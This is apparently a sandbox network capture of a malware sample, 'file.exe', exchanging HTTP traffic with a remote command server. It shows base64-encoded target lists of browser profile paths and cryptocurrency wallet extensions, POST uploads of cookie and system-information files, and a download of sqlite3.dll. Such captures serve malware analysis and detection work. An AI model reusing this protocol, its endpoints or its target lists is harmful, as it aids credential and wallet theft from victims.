R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 16, 2024 13:01:15.209343910 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 16, 2024 13:01:15.209362030 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 16, 2024 13:01:15.211266041 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"plugins------KKJKFBKKECFHJKEBKEHI--
Nov 16, 2024 13:01:15.492923021 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 16, 2024 13:01:15.492958069 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 16, 2024 13:01:15.492994070 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 16, 2024 13:01:15.493011951 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 16, 2024 13:01:15.493032932 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 16, 2024 13:01:15.493053913 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 16, 2024 13:01:15.493073940 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 16, 2024 13:01:15.493669033 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 16, 2024 13:01:15.495248079 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 2d 2d 0d 0a Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="message"fplugins------KEHJKJDGCGDAKFHIDBGC--
Nov 16, 2024 13:01:15.777530909 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 16, 2024 13:01:15.878081083 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 185.215.113.206 Content-Length: 6991 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 13:01:15.878176928 CET	6991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 16, 2024 13:01:16.681794882 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:17.017498016 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 13:01:17.296545982 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49745	185.215.113.206	80	5032	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:01:25.709449053 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHDBGDHDAECBGDHJKF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIEHDBGDHDAECBGDHJKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIEHDBGDHDAECBGDHJKF--
Nov 16, 2024 13:01:27.136100054 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:27.349766016 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file"------DHIDHIEGIIIECAKEBFBA--
Nov 16, 2024 13:01:28.139333963 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49802	185.215.113.206	80	5032	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 13:01:33.726030111 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 13:01:33.726030111 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 16, 2024 13:01:35.136096954 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:35.319137096 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBFBAEBKJJJJKFCGCB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 